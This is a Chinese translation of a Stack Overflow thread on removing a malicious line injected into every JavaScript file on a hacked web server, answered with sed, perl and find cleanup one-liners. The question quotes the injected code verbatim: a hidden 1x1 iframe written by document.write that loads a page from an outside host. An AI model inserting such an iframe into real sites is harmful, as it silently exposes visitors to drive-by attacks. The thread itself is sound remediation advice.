python - 修改服务器上文件内容的最佳脚本

标签 python perl bash scripting sed

问题:
我的网络服务器最近遭到入侵。他们针对 javascript 文件。他们插入了以下片段

document.write('<iframe src="http://lcbmc.co.uk/showthread.php?t=31540750" width="1" height="1" frameborder="0"></iframe>') 

这被添加到服务器上每个 .js 文件的顶部。

解决方案:
编写一个脚本来打开我服务器上的每个 javascript 文件,检查恶意代码,删除恶意代码,最后保存文件。

问题:
脚本应该用什么编程语言编写? python 会工作吗?我在我的服务器上运行 python 2.4.3。如果我在 root 下运行 python 脚本,我是否需要担心不小心更改修改文件的所有者权限?

谢谢

最佳答案

sed -i '1d;' *.js

简单,将从每个 javascript 文件中删除第一行。

你可以在 python 中做得更彻底一点,但你说每个 *.js 文件中的第一行,不是吗?

更好的是,你可以考虑 perl

python 可以工作,但是 Python 灵魂不是乱码的快速单行代码 对于这样的事情,您需要一种快速无痛的单线。

 perl -pi.bak -e 's/^document.*lcbmc.*\n//g' *.js

如果您在命令行运行它,它将匹配任何以 document 开头并包含 lcbmc 的行(包括\n--new 行)并完全删除该行。请注意,i.bak 会为所有内容创建一个备份文件 .bak。最好保留它,因为它可能会“搞砸”

然后运行

rm -v *.js.bak

更新

根据评论,我建议在 *.js 文件的目录中运行 perl 脚本,或者使用 find

find /startDir/ -iname '*.js' -exec perl -pi.bak -e 's/^document.*lcbmc.*\n//g' {} \; 

这将:
1.如果你指定了正确的路径
2. 对找到的 ({}) 文件执行 perl 一行。
3.逃生; (\;) 用于将命令串在一起,
4. 所以它会执行

perl -pi.bak -e 's/^document.*lcbmc.*\n//g' found-item-1.js; perl -pi.bak -e 's/^document.*lcbmc.*\n//g' found-item-2.js

等等... 某些版本的 find support + 您可以在以下问题中观察其行为:find \; VS +

注意:您可以使用多个路径进行查找。

find /var/www/*.js /home/eric/.apache/*.js

将在/var/www/文件夹和 ~/.apache 文件夹中找到包含 *.js 文件的文件。

关于python - 修改服务器上文件内容的最佳脚本,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/6259521/

相关文章:

Bash - 比较 2 个文本文件并找到缺失的行

Linux shell 脚本 "read"命令

bash - 获取 bash 历史到 vi

python - 如何在 python 中将字符串转换为列表?

python - Linux:将文件的列拆分为多个文件

Perl:无法使用 Twig::XPath 语法提取同级值

perl - 无法在 conda 环境中通过 cpanm 安装 perl 模块

regex - perl + 仅当与行中的字符串完全匹配时才删除该行

python - 关于Python键盘输入编码的快速简单问题

python - 将 Django 项目从 Python 2 转换为 Python 3 : How to fix Python int OverFlowError?